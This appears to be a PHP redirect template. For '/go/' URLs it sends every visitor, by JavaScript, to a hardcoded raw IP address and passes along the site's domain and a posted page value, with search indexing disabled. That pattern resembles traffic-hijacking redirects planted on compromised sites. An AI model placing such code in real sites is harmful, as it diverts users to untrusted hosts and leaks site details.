| 1234567891011121314151617181920212223242526272829303132333435363738 |
- <?php
- if (!isset($_POST['idpage']) && preg_match("#/go/([a-z0-9-]+)/#", $_SERVER['REQUEST_URI'], $matches)) {
- $slug = $matches[1];
- }
- // Получаем хеш из настроек
- $contentSettings = settings('content');
- $hash = $contentSettings->get('hash') ?: '';
- $queryData = [
- 'domain' => $_SERVER['HTTP_HOST'],
- 'page' => isset($_POST['page']) ? $_POST['page'] : '',
- ];
- $queryString = http_build_query($queryData);
- $url = isset($hash)
- ? "http://66.55.159.98/{$hash}?{$queryString}"
- : "{$_SERVER['REQUEST_SCHEME']}://{$_SERVER['HTTP_HOST']}";
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title><?= $_SERVER['HTTP_HOST'] ?></title>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
- <meta name="robots" content="noindex, nofollow">
- </head>
- <body class="page-redirecting">
- <script>
- window.location.href = "<?=$url?>";
- window.setTimeout(function(){
- window.location.href = "<?=$url?>";
- }, 1000);
- </script>
- </body>
- </html>
|